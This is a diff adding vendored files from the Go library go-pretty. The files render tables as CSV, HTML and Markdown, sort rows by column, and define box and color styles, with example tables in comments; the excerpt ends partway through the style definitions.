+func (t *Table) csvRenderRow(out *strings.Builder, row rowStr, hint renderHint) {
+	// when working on line number 2 or more, insert a newline first
+	if out.Len() > 0 {
+		out.WriteRune('\n')
+	}
+
+	// generate the columns to render in CSV format and append to "out"
+	for colIdx, colStr := range row {
+		// auto-index column
+		if colIdx == 0 && t.autoIndex {
+			if hint.isRegularRow() {
+				out.WriteString(fmt.Sprint(hint.rowNumber))
+			}
+			out.WriteRune(',')
+		}
+		if colIdx > 0 {
+			out.WriteRune(',')
+		}
+		if strings.ContainsAny(colStr, "\",\n") {
+			out.WriteRune('"')
+			out.WriteString(t.csvFixCommas(t.csvFixDoubleQuotes(colStr)))
+			out.WriteRune('"')
+		} else if utf8.RuneCountInString(colStr) > 0 {
+			out.WriteString(colStr)
+		}
+	}
+	for colIdx := len(row); colIdx < t.numColumns; colIdx++ {
+		out.WriteRune(',')
+	}
+}
+
+func (t *Table) csvRenderRows(out *strings.Builder, rows []rowStr, hint renderHint) {
+	for rowIdx, row := range rows {
+		hint.rowNumber = rowIdx + 1
+		t.csvRenderRow(out, row, hint)
+	}
+}

vendor/github.com/jedib0t/go-pretty/v6/table/render_html.go

@@ -0,0 +1,235 @@
+package table
+
+import (
+	"fmt"
+	"html"
+	"strings"
+)
+
+const (
+	// DefaultHTMLCSSClass stores the css-class to use when none-provided via
+	// SetHTMLCSSClass(cssClass string).
+	DefaultHTMLCSSClass = "go-pretty-table"
+)
+
+// RenderHTML renders the Table in HTML format. Example:
+//  <table class="go-pretty-table">
+//    <thead>
+//    <tr>
+//      <th align="right">#</th>
+//      <th>First Name</th>
+//      <th>Last Name</th>
+//      <th align="right">Salary</th>
+//      <th>&nbsp;</th>
+//    </tr>
+//    </thead>
+//    <tbody>
+//    <tr>
+//      <td align="right">1</td>
+//      <td>Arya</td>
+//      <td>Stark</td>
+//      <td align="right">3000</td>
+//      <td>&nbsp;</td>
+//    </tr>
+//    <tr>
+//      <td align="right">20</td>
+//      <td>Jon</td>
+//      <td>Snow</td>
+//      <td align="right">2000</td>
+//      <td>You know nothing, Jon Snow!</td>
+//    </tr>
+//    <tr>
+//      <td align="right">300</td>
+//      <td>Tyrion</td>
+//      <td>Lannister</td>
+//      <td align="right">5000</td>
+//      <td>&nbsp;</td>
+//    </tr>
+//    </tbody>
+//    <tfoot>
+//    <tr>
+//      <td align="right">&nbsp;</td>
+//      <td>&nbsp;</td>
+//      <td>Total</td>
+//      <td align="right">10000</td>
+//      <td>&nbsp;</td>
+//    </tr>
+//    </tfoot>
+//  </table>
+func (t *Table) RenderHTML() string {
+	t.initForRender()
+
+	var out strings.Builder
+	if t.numColumns > 0 {
+		out.WriteString("<table class=\"")
+		if t.htmlCSSClass != "" {
+			out.WriteString(t.htmlCSSClass)
+		} else {
+			out.WriteString(t.style.HTML.CSSClass)
+		}
+		out.WriteString("\">\n")
+		t.htmlRenderTitle(&out)
+		t.htmlRenderRowsHeader(&out)
+		t.htmlRenderRows(&out, t.rows, renderHint{})
+		t.htmlRenderRowsFooter(&out)
+		t.htmlRenderCaption(&out)
+		out.WriteString("</table>")
+	}
+	return t.render(&out)
+}
+
+func (t *Table) htmlRenderCaption(out *strings.Builder) {
+	if t.caption != "" {
+		out.WriteString("  <caption class=\"caption\" style=\"caption-side: bottom;\">")
+		out.WriteString(t.caption)
+		out.WriteString("</caption>\n")
+	}
+}
+
+func (t *Table) htmlRenderColumnAttributes(out *strings.Builder, row rowStr, colIdx int, hint renderHint) {
+	// determine the HTML "align"/"valign" property values
+	align := t.getAlign(colIdx, hint).HTMLProperty()
+	vAlign := t.getVAlign(colIdx, hint).HTMLProperty()
+	// determine the HTML "class" property values for the colors
+	class := t.getColumnColors(colIdx, hint).HTMLProperty()
+
+	if align != "" {
+		out.WriteRune(' ')
+		out.WriteString(align)
+	}
+	if class != "" {
+		out.WriteRune(' ')
+		out.WriteString(class)
+	}
+	if vAlign != "" {
+		out.WriteRune(' ')
+		out.WriteString(vAlign)
+	}
+}
+
+func (t *Table) htmlRenderColumnAutoIndex(out *strings.Builder, hint renderHint) {
+	if hint.isHeaderRow {
+		out.WriteString("    <th>")
+		out.WriteString(t.style.HTML.EmptyColumn)
+		out.WriteString("</th>\n")
+	} else if hint.isFooterRow {
+		out.WriteString("    <td>")
+		out.WriteString(t.style.HTML.EmptyColumn)
+		out.WriteString("</td>\n")
+	} else {
+		out.WriteString("    <td align=\"right\">")
+		out.WriteString(fmt.Sprint(hint.rowNumber))
+		out.WriteString("</td>\n")
+	}
+}
+
+func (t *Table) htmlRenderRow(out *strings.Builder, row rowStr, hint renderHint) {
+	out.WriteString("  <tr>\n")
+	for colIdx := 0; colIdx < t.numColumns; colIdx++ {
+		// auto-index column
+		if colIdx == 0 && t.autoIndex {
+			t.htmlRenderColumnAutoIndex(out, hint)
+		}
+
+		// get the column contents
+		var colStr string
+		if colIdx < len(row) {
+			colStr = row[colIdx]
+		}
+
+		// header uses "th" instead of "td"
+		colTagName := "td"
+		if hint.isHeaderRow {
+			colTagName = "th"
+		}
+
+		// write the row
+		out.WriteString("    <")
+		out.WriteString(colTagName)
+		t.htmlRenderColumnAttributes(out, row, colIdx, hint)
+		out.WriteString(">")
+		if len(colStr) == 0 {
+			out.WriteString(t.style.HTML.EmptyColumn)
+		} else {
+			if t.style.HTML.EscapeText {
+				colStr = html.EscapeString(colStr)
+			}
+			if t.style.HTML.Newline != "\n" {
+				colStr = strings.Replace(colStr, "\n", t.style.HTML.Newline, -1)
+			}
+			out.WriteString(colStr)
+		}
+		out.WriteString("</")
+		out.WriteString(colTagName)
+		out.WriteString(">\n")
+	}
+	out.WriteString("  </tr>\n")
+}
+
+func (t *Table) htmlRenderRows(out *strings.Builder, rows []rowStr, hint renderHint) {
+	if len(rows) > 0 {
+		// determine that tag to use based on the type of the row
+		rowsTag := "tbody"
+		if hint.isHeaderRow {
+			rowsTag = "thead"
+		} else if hint.isFooterRow {
+			rowsTag = "tfoot"
+		}
+
+		var renderedTagOpen, shouldRenderTagClose bool
+		for idx, row := range rows {
+			hint.rowNumber = idx + 1
+			if len(row) > 0 {
+				if !renderedTagOpen {
+					out.WriteString("  <")
+					out.WriteString(rowsTag)
+					out.WriteString(">\n")
+					renderedTagOpen = true
+				}
+				t.htmlRenderRow(out, row, hint)
+				shouldRenderTagClose = true
+			}
+		}
+		if shouldRenderTagClose {
+			out.WriteString("  </")
+			out.WriteString(rowsTag)
+			out.WriteString(">\n")
+		}
+	}
+}
+
+func (t *Table) htmlRenderRowsFooter(out *strings.Builder) {
+	if len(t.rowsFooter) > 0 {
+		t.htmlRenderRows(out, t.rowsFooter, renderHint{isFooterRow: true})
+	}
+}
+
+func (t *Table) htmlRenderRowsHeader(out *strings.Builder) {
+	if len(t.rowsHeader) > 0 {
+		t.htmlRenderRows(out, t.rowsHeader, renderHint{isHeaderRow: true})
+	} else if t.autoIndex {
+		hint := renderHint{isAutoIndexRow: true, isHeaderRow: true}
+		t.htmlRenderRows(out, []rowStr{t.getAutoIndexColumnIDs()}, hint)
+	}
+}
+
+func (t *Table) htmlRenderTitle(out *strings.Builder) {
+	if t.title != "" {
+		align := t.style.Title.Align.HTMLProperty()
+		colors := t.style.Title.Colors.HTMLProperty()
+		title := t.style.Title.Format.Apply(t.title)
+
+		out.WriteString("  <caption class=\"title\"")
+		if align != "" {
+			out.WriteRune(' ')
+			out.WriteString(align)
+		}
+		if colors != "" {
+			out.WriteRune(' ')
+			out.WriteString(colors)
+		}
+		out.WriteRune('>')
+		out.WriteString(title)
+		out.WriteString("</caption>\n")
+	}
+}

vendor/github.com/jedib0t/go-pretty/v6/table/render_markdown.go

@@ -0,0 +1,110 @@
+package table
+
+import (
+	"fmt"
+	"strings"
+)
+
+// RenderMarkdown renders the Table in Markdown format. Example:
+//  | # | First Name | Last Name | Salary |  |
+//  | ---:| --- | --- | ---:| --- |
+//  | 1 | Arya | Stark | 3000 |  |
+//  | 20 | Jon | Snow | 2000 | You know nothing, Jon Snow! |
+//  | 300 | Tyrion | Lannister | 5000 |  |
+//  |  |  | Total | 10000 |  |
+func (t *Table) RenderMarkdown() string {
+	t.initForRender()
+
+	var out strings.Builder
+	if t.numColumns > 0 {
+		t.markdownRenderTitle(&out)
+		t.markdownRenderRowsHeader(&out)
+		t.markdownRenderRows(&out, t.rows, renderHint{})
+		t.markdownRenderRowsFooter(&out)
+		t.markdownRenderCaption(&out)
+	}
+	return t.render(&out)
+}
+
+func (t *Table) markdownRenderCaption(out *strings.Builder) {
+	if t.caption != "" {
+		out.WriteRune('\n')
+		out.WriteRune('_')
+		out.WriteString(t.caption)
+		out.WriteRune('_')
+	}
+}
+
+func (t *Table) markdownRenderRow(out *strings.Builder, row rowStr, hint renderHint) {
+	// when working on line number 2 or more, insert a newline first
+	if out.Len() > 0 {
+		out.WriteRune('\n')
+	}
+
+	// render each column up to the max. columns seen in all the rows
+	out.WriteRune('|')
+	for colIdx := 0; colIdx < t.numColumns; colIdx++ {
+		// auto-index column
+		if colIdx == 0 && t.autoIndex {
+			out.WriteRune(' ')
+			if hint.isSeparatorRow {
+				out.WriteString("---:")
+			} else if hint.isRegularRow() {
+				out.WriteString(fmt.Sprintf("%d ", hint.rowNumber))
+			}
+			out.WriteRune('|')
+		}
+
+		if hint.isSeparatorRow {
+			out.WriteString(t.getAlign(colIdx, hint).MarkdownProperty())
+		} else {
+			var colStr string
+			if colIdx < len(row) {
+				colStr = row[colIdx]
+			}
+			out.WriteRune(' ')
+			if strings.Contains(colStr, "|") {
+				colStr = strings.Replace(colStr, "|", "\\|", -1)
+			}
+			if strings.Contains(colStr, "\n") {
+				colStr = strings.Replace(colStr, "\n", "<br/>", -1)
+			}
+			out.WriteString(colStr)
+			out.WriteRune(' ')
+		}
+		out.WriteRune('|')
+	}
+}
+
+func (t *Table) markdownRenderRows(out *strings.Builder, rows []rowStr, hint renderHint) {
+	if len(rows) > 0 {
+		for idx, row := range rows {
+			hint.rowNumber = idx + 1
+			t.markdownRenderRow(out, row, hint)
+
+			if idx == len(rows)-1 && hint.isHeaderRow {
+				t.markdownRenderRow(out, t.rowSeparator, renderHint{isSeparatorRow: true})
+			}
+		}
+	}
+}
+
+func (t *Table) markdownRenderRowsFooter(out *strings.Builder) {
+	t.markdownRenderRows(out, t.rowsFooter, renderHint{isFooterRow: true})
+
+}
+
+func (t *Table) markdownRenderRowsHeader(out *strings.Builder) {
+	if len(t.rowsHeader) > 0 {
+		t.markdownRenderRows(out, t.rowsHeader, renderHint{isHeaderRow: true})
+	} else if t.autoIndex {
+		t.markdownRenderRows(out, []rowStr{t.getAutoIndexColumnIDs()}, renderHint{isAutoIndexRow: true, isHeaderRow: true})
+	}
+}
+
+func (t *Table) markdownRenderTitle(out *strings.Builder) {
+	if t.title != "" {
+		out.WriteString("# ")
+		out.WriteString(t.title)
+	}
+}

vendor/github.com/jedib0t/go-pretty/v6/table/sort.go

@@ -0,0 +1,119 @@
+package table
+
+import (
+	"sort"
+	"strconv"
+)
+
+// SortBy defines What to sort (Column Name or Number), and How to sort (Mode).
+type SortBy struct {
+	// Name is the name of the Column as it appears in the first Header row.
+	// If a Header is not provided, or the name is not found in the header, this
+	// will not work.
+	Name string
+	// Number is the Column # from left. When specified, it overrides the Name
+	// property. If you know the exact Column number, use this instead of Name.
+	Number int
+
+	// Mode tells the Writer how to Sort. Asc/Dsc/etc.
+	Mode SortMode
+}
+
+// SortMode defines How to sort.
+type SortMode int
+
+const (
+	// Asc sorts the column in Ascending order alphabetically.
+	Asc SortMode = iota
+	// AscNumeric sorts the column in Ascending order numerically.
+	AscNumeric
+	// Dsc sorts the column in Descending order alphabetically.
+	Dsc
+	// DscNumeric sorts the column in Descending order numerically.
+	DscNumeric
+)
+
+type rowsSorter struct {
+	rows          []rowStr
+	sortBy        []SortBy
+	sortedIndices []int
+}
+
+// getSortedRowIndices sorts and returns the row indices in Sorted order as
+// directed by Table.sortBy which can be set using Table.SortBy(...)
+func (t *Table) getSortedRowIndices() []int {
+	sortedIndices := make([]int, len(t.rows))
+	for idx := range t.rows {
+		sortedIndices[idx] = idx
+	}
+
+	if t.sortBy != nil && len(t.sortBy) > 0 {
+		sort.Sort(rowsSorter{
+			rows:          t.rows,
+			sortBy:        t.parseSortBy(t.sortBy),
+			sortedIndices: sortedIndices,
+		})
+	}
+
+	return sortedIndices
+}
+
+func (t *Table) parseSortBy(sortBy []SortBy) []SortBy {
+	var resSortBy []SortBy
+	for _, col := range sortBy {
+		colNum := 0
+		if col.Number > 0 && col.Number <= t.numColumns {
+			colNum = col.Number
+		} else if col.Name != "" && len(t.rowsHeader) > 0 {
+			for idx, colName := range t.rowsHeader[0] {
+				if col.Name == colName {
+					colNum = idx + 1
+					break
+				}
+			}
+		}
+		if colNum > 0 {
+			resSortBy = append(resSortBy, SortBy{
+				Name:   col.Name,
+				Number: colNum,
+				Mode:   col.Mode,
+			})
+		}
+	}
+	return resSortBy
+}
+
+func (rs rowsSorter) Len() int {
+	return len(rs.rows)
+}
+
+func (rs rowsSorter) Swap(i, j int) {
+	rs.sortedIndices[i], rs.sortedIndices[j] = rs.sortedIndices[j], rs.sortedIndices[i]
+}
+
+func (rs rowsSorter) Less(i, j int) bool {
+	realI, realJ := rs.sortedIndices[i], rs.sortedIndices[j]
+	for _, col := range rs.sortBy {
+		rowI, rowJ, colIdx := rs.rows[realI], rs.rows[realJ], col.Number-1
+		if colIdx < len(rowI) && colIdx < len(rowJ) {
+			if rowI[colIdx] == rowJ[colIdx] {
+				continue
+			} else if col.Mode == Asc {
+				return rowI[colIdx] < rowJ[colIdx]
+			} else if col.Mode == Dsc {
+				return rowI[colIdx] > rowJ[colIdx]
+			}
+
+			iVal, iErr := strconv.ParseFloat(rowI[colIdx], 64)
+			jVal, jErr := strconv.ParseFloat(rowJ[colIdx], 64)
+			if iErr == nil && jErr == nil {
+				if col.Mode == AscNumeric {
+					return iVal < jVal
+				} else if col.Mode == DscNumeric {
+					return jVal < iVal
+				}
+			}
+		}
+	}
+	return false
+}

vendor/github.com/jedib0t/go-pretty/v6/table/style.go

@@ -0,0 +1,874 @@
+package table
+
+import (
+	"github.com/jedib0t/go-pretty/v6/text"
+)
+
+// Style declares how to render the Table and provides very fine-grained control
+// on how the Table gets rendered on the Console.
+type Style struct {
+	Name    string        // name of the Style
+	Box     BoxStyle      // characters to use for the boxes
+	Color   ColorOptions  // colors to use for the rows and columns
+	Format  FormatOptions // formatting options for the rows and columns
+	HTML    HTMLOptions   // rendering options for HTML mode
+	Options Options       // misc. options for the table
+	Title   TitleOptions  // formation options for the title text
+}
+
+var (
+	// StyleDefault renders a Table like below:
+	//  +-----+------------+-----------+--------+-----------------------------+
+	//  |   # | FIRST NAME | LAST NAME | SALARY |                             |
+	//  +-----+------------+-----------+--------+-----------------------------+
+	//  |   1 | Arya       | Stark     |   3000 |                             |
+	//  |  20 | Jon        | Snow      |   2000 | You know nothing, Jon Snow! |
+	//  | 300 | Tyrion     | Lannister |   5000 |                             |
+	//  +-----+------------+-----------+--------+-----------------------------+
+	//  |     |            | TOTAL     |  10000 |                             |
+	//  +-----+------------+-----------+--------+-----------------------------+
+	StyleDefault = Style{
+		Name:    "StyleDefault",
+		Box:     StyleBoxDefault,
+		Color:   ColorOptionsDefault,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsDefault,
+		Title:   TitleOptionsDefault,
+	}
+
+	// StyleBold renders a Table like below:
+	//  ┏━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
+	//  ┃   # ┃ FIRST NAME ┃ LAST NAME ┃ SALARY ┃                             ┃
+	//  ┣━━━━━╋━━━━━━━━━━━━╋━━━━━━━━━━━╋━━━━━━━━╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
+	//  ┃   1 ┃ Arya       ┃ Stark     ┃   3000 ┃                             ┃
+	//  ┃  20 ┃ Jon        ┃ Snow      ┃   2000 ┃ You know nothing, Jon Snow! ┃
+	//  ┃ 300 ┃ Tyrion     ┃ Lannister ┃   5000 ┃                             ┃
+	//  ┣━━━━━╋━━━━━━━━━━━━╋━━━━━━━━━━━╋━━━━━━━━╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
+	//  ┃     ┃            ┃ TOTAL     ┃  10000 ┃                             ┃
+	//  ┗━━━━━┻━━━━━━━━━━━━┻━━━━━━━━━━━┻━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
+	StyleBold = Style{
+		Name:    "StyleBold",
+		Box:     StyleBoxBold,
+		Color:   ColorOptionsDefault,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsDefault,
+		Title:   TitleOptionsDefault,
+	}
+
+	// StyleColoredBright renders a Table without any borders or separators,
+	// and with Black text on Cyan background for Header/Footer and
+	// White background for other rows.
+	StyleColoredBright = Style{
+		Name:    "StyleColoredBright",
+		Box:     StyleBoxDefault,
+		Color:   ColorOptionsBright,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsNoBordersAndSeparators,
+		Title:   TitleOptionsDark,
+	}
+
+	// StyleColoredDark renders a Table without any borders or separators, and
+	// with Header/Footer in Cyan text and other rows with White text, all on
+	// Black background.
+	StyleColoredDark = Style{
+		Name:    "StyleColoredDark",
+		Box:     StyleBoxDefault,
+		Color:   ColorOptionsDark,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsNoBordersAndSeparators,
+		Title:   TitleOptionsBright,
+	}
+
+	// StyleColoredBlackOnBlueWhite renders a Table without any borders or
+	// separators, and with Black text on Blue background for Header/Footer and
+	// White background for other rows.
+	StyleColoredBlackOnBlueWhite = Style{
+		Name:    "StyleColoredBlackOnBlueWhite",
+		Box:     StyleBoxDefault,
+		Color:   ColorOptionsBlackOnBlueWhite,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsNoBordersAndSeparators,
+		Title:   TitleOptionsBlueOnBlack,
+	}
+
+	// StyleColoredBlackOnCyanWhite renders a Table without any borders or
+	// separators, and with Black text on Cyan background for Header/Footer and
+	// White background for other rows.
+	StyleColoredBlackOnCyanWhite = Style{
+		Name:    "StyleColoredBlackOnCyanWhite",
+		Box:     StyleBoxDefault,
+		Color:   ColorOptionsBlackOnCyanWhite,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsNoBordersAndSeparators,
+		Title:   TitleOptionsCyanOnBlack,
+	}
+
+	// StyleColoredBlackOnGreenWhite renders a Table without any borders or
+	// separators, and with Black text on Green background for Header/Footer and
+	// White background for other rows.
+	StyleColoredBlackOnGreenWhite = Style{
+		Name:    "StyleColoredBlackOnGreenWhite",
+		Box:     StyleBoxDefault,
+		Color:   ColorOptionsBlackOnGreenWhite,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsNoBordersAndSeparators,
+		Title:   TitleOptionsGreenOnBlack,
+	}
+
+	// StyleColoredBlackOnMagentaWhite renders a Table without any borders or
+	// separators, and with Black text on Magenta background for Header/Footer and
+	// White background for other rows.
+	StyleColoredBlackOnMagentaWhite = Style{
+		Name:    "StyleColoredBlackOnMagentaWhite",
+		Box:     StyleBoxDefault,
+		Color:   ColorOptionsBlackOnMagentaWhite,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsNoBordersAndSeparators,
+		Title:   TitleOptionsMagentaOnBlack,
+	}
+
+	// StyleColoredBlackOnYellowWhite renders a Table without any borders or
+	// separators, and with Black text on Yellow background for Header/Footer and
+	// White background for other rows.
+	StyleColoredBlackOnYellowWhite = Style{
+		Name:    "StyleColoredBlackOnYellowWhite",
+		Box:     StyleBoxDefault,
+		Color:   ColorOptionsBlackOnYellowWhite,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsNoBordersAndSeparators,
+		Title:   TitleOptionsYellowOnBlack,
+	}
+
+	// StyleColoredBlackOnRedWhite renders a Table without any borders or
+	// separators, and with Black text on Red background for Header/Footer and
+	// White background for other rows.
+	StyleColoredBlackOnRedWhite = Style{
+		Name:    "StyleColoredBlackOnRedWhite",
+		Box:     StyleBoxDefault,
+		Color:   ColorOptionsBlackOnRedWhite,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsNoBordersAndSeparators,
+		Title:   TitleOptionsRedOnBlack,
+	}
+
+	// StyleColoredBlueWhiteOnBlack renders a Table without any borders or
+	// separators, and with Header/Footer in Blue text and other rows with
+	// White text, all on Black background.
+	StyleColoredBlueWhiteOnBlack = Style{
+		Name:    "StyleColoredBlueWhiteOnBlack",
+		Box:     StyleBoxDefault,
+		Color:   ColorOptionsBlueWhiteOnBlack,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsNoBordersAndSeparators,
+		Title:   TitleOptionsBlackOnBlue,
+	}
+
+	// StyleColoredCyanWhiteOnBlack renders a Table without any borders or
+	// separators, and with Header/Footer in Cyan text and other rows with
+	// White text, all on Black background.
+	StyleColoredCyanWhiteOnBlack = Style{
+		Name:    "StyleColoredCyanWhiteOnBlack",
+		Box:     StyleBoxDefault,
+		Color:   ColorOptionsCyanWhiteOnBlack,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsNoBordersAndSeparators,
+		Title:   TitleOptionsBlackOnCyan,
+	}
+
+	// StyleColoredGreenWhiteOnBlack renders a Table without any borders or
+	// separators, and with Header/Footer in Green text and other rows with
+	// White text, all on Black background.
+	StyleColoredGreenWhiteOnBlack = Style{
+		Name:    "StyleColoredGreenWhiteOnBlack",
+		Box:     StyleBoxDefault,
+		Color:   ColorOptionsGreenWhiteOnBlack,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsNoBordersAndSeparators,
+		Title:   TitleOptionsBlackOnGreen,
+	}
+
+	// StyleColoredMagentaWhiteOnBlack renders a Table without any borders or
+	// separators, and with Header/Footer in Magenta text and other rows with
+	// White text, all on Black background.
+	StyleColoredMagentaWhiteOnBlack = Style{
+		Name:    "StyleColoredMagentaWhiteOnBlack",
+		Box:     StyleBoxDefault,
+		Color:   ColorOptionsMagentaWhiteOnBlack,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsNoBordersAndSeparators,
+		Title:   TitleOptionsBlackOnMagenta,
+	}
+
+	// StyleColoredRedWhiteOnBlack renders a Table without any borders or
+	// separators, and with Header/Footer in Red text and other rows with
+	// White text, all on Black background.
+	StyleColoredRedWhiteOnBlack = Style{
+		Name:    "StyleColoredRedWhiteOnBlack",
+		Box:     StyleBoxDefault,
+		Color:   ColorOptionsRedWhiteOnBlack,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsNoBordersAndSeparators,
+		Title:   TitleOptionsBlackOnRed,
+	}
+
+	// StyleColoredYellowWhiteOnBlack renders a Table without any borders or
+	// separators, and with Header/Footer in Yellow text and other rows with
+	// White text, all on Black background.
+	StyleColoredYellowWhiteOnBlack = Style{
+		Name:    "StyleColoredYellowWhiteOnBlack",
+		Box:     StyleBoxDefault,
+		Color:   ColorOptionsYellowWhiteOnBlack,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsNoBordersAndSeparators,
+		Title:   TitleOptionsBlackOnYellow,
+	}
+
+	// StyleDouble renders a Table like below:
+	//  ╔═════╦════════════╦═══════════╦════════╦═════════════════════════════╗
+	//  ║   # ║ FIRST NAME ║ LAST NAME ║ SALARY ║                             ║
+	//  ╠═════╬════════════╬═══════════╬════════╬═════════════════════════════╣
+	//  ║   1 ║ Arya       ║ Stark     ║   3000 ║                             ║
+	//  ║  20 ║ Jon        ║ Snow      ║   2000 ║ You know nothing, Jon Snow! ║
+	//  ║ 300 ║ Tyrion     ║ Lannister ║   5000 ║                             ║
+	//  ╠═════╬════════════╬═══════════╬════════╬═════════════════════════════╣
+	//  ║     ║            ║ TOTAL     ║  10000 ║                             ║
+	//  ╚═════╩════════════╩═══════════╩════════╩═════════════════════════════╝
+	StyleDouble = Style{
+		Name:    "StyleDouble",
+		Box:     StyleBoxDouble,
+		Color:   ColorOptionsDefault,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsDefault,
+		Title:   TitleOptionsDefault,
+	}
+
+	// StyleLight renders a Table like below:
+	//  ┌─────┬────────────┬───────────┬────────┬─────────────────────────────┐
+	//  │   # │ FIRST NAME │ LAST NAME │ SALARY │                             │
+	//  ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+	//  │   1 │ Arya       │ Stark     │   3000 │                             │
+	//  │  20 │ Jon        │ Snow      │   2000 │ You know nothing, Jon Snow! │
+	//  │ 300 │ Tyrion     │ Lannister │   5000 │                             │
+	//  ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+	//  │     │            │ TOTAL     │  10000 │                             │
+	//  └─────┴────────────┴───────────┴────────┴─────────────────────────────┘
+	StyleLight = Style{
+		Name:    "StyleLight",
+		Box:     StyleBoxLight,
+		Color:   ColorOptionsDefault,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsDefault,
+		Title:   TitleOptionsDefault,
+	}
+
+	// StyleRounded renders a Table like below:
+	//  ╭─────┬────────────┬───────────┬────────┬─────────────────────────────╮
+	//  │   # │ FIRST NAME │ LAST NAME │ SALARY │                             │
+	//  ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+	//  │   1 │ Arya       │ Stark     │   3000 │                             │
+	//  │  20 │ Jon        │ Snow      │   2000 │ You know nothing, Jon Snow! │
+	//  │ 300 │ Tyrion     │ Lannister │   5000 │                             │
+	//  ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+	//  │     │            │ TOTAL     │  10000 │                             │
+	//  ╰─────┴────────────┴───────────┴────────┴─────────────────────────────╯
+	StyleRounded = Style{
+		Name:    "StyleRounded",
+		Box:     StyleBoxRounded,
+		Color:   ColorOptionsDefault,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsDefault,
+		Title:   TitleOptionsDefault,
+	}
+
+	// styleTest renders a Table like below:
+	//  (-----^------------^-----------^--------^-----------------------------)
+	//  [<  #>|<FIRST NAME>|<LAST NAME>|<SALARY>|<                           >]
+	//  {-----+------------+-----------+--------+-----------------------------}
+	//  [<  1>|<Arya      >|<Stark    >|<  3000>|<                           >]
+	//  [< 20>|<Jon       >|<Snow     >|<  2000>|<You know nothing, Jon Snow!>]
+	//  [<300>|<Tyrion    >|<Lannister>|<  5000>|<                           >]
+	//  {-----+------------+-----------+--------+-----------------------------}
+	//  [<   >|<          >|<TOTAL    >|< 10000>|<                           >]
+	//  \-----v------------v-----------v--------v-----------------------------/
+	styleTest = Style{
+		Name:    "styleTest",
+		Box:     styleBoxTest,
+		Color:   ColorOptionsDefault,
+		Format:  FormatOptionsDefault,
+		HTML:    DefaultHTMLOptions,
+		Options: OptionsDefault,
+		Title:   TitleOptionsDefault,
+	}
+)
+
+// BoxStyle defines the characters/strings to use to render the borders and
+// separators for the Table.
+type BoxStyle struct {
+	BottomLeft       string
+	BottomRight      string
+	BottomSeparator  string
+	EmptySeparator   string
+	Left             string
+	LeftSeparator    string
+	MiddleHorizontal string
+	MiddleSeparator  string
+	MiddleVertical   string
+	PaddingLeft      string
+	PaddingRight     string
+	PageSeparator    string
+	Right            string
+	RightSeparator   string
+	TopLeft          string
+	TopRight         string
+	TopSeparator     string
+	UnfinishedRow    string
+}
+
+var (
+	// StyleBoxDefault defines a Boxed-Table like below:
+	//  +-----+------------+-----------+--------+-----------------------------+
+	//  |   # | FIRST NAME | LAST NAME | SALARY |                             |
+	//  +-----+------------+-----------+--------+-----------------------------+
+	//  |   1 | Arya       | Stark     |   3000 |                             |
+	//  |  20 | Jon        | Snow      |   2000 | You know nothing, Jon Snow! |
+	//  | 300 | Tyrion     | Lannister |   5000 |                             |
+	//  +-----+------------+-----------+--------+-----------------------------+
+	//  |     |            | TOTAL     |  10000 |                             |
+	//  +-----+------------+-----------+--------+-----------------------------+
+	StyleBoxDefault = BoxStyle{
+		BottomLeft:       "+",
+		BottomRight:      "+",
+		BottomSeparator:  "+",
+		EmptySeparator:   text.RepeatAndTrim(" ", text.RuneCount("+")),
+		Left:             "|",
+		LeftSeparator:    "+",
+		MiddleHorizontal: "-",
+		MiddleSeparator:  "+",
+		MiddleVertical:   "|",
+		PaddingLeft:      " ",
+		PaddingRight:     " ",
+		PageSeparator:    "\n",
+		Right:            "|",
+		RightSeparator:   "+",
+		TopLeft:          "+",
+		TopRight:         "+",
+		TopSeparator:     "+",
+		UnfinishedRow:    " ~",
+	}
+
+	// StyleBoxBold defines a Boxed-Table like below:
+	//  ┏━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
+	//  ┃   # ┃ FIRST NAME ┃ LAST NAME ┃ SALARY ┃                             ┃
+	//  ┣━━━━━╋━━━━━━━━━━━━╋━━━━━━━━━━━╋━━━━━━━━╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
+	//  ┃   1 ┃ Arya       ┃ Stark     ┃   3000 ┃                             ┃
+	//  ┃  20 ┃ Jon        ┃ Snow      ┃   2000 ┃ You know nothing, Jon Snow! ┃
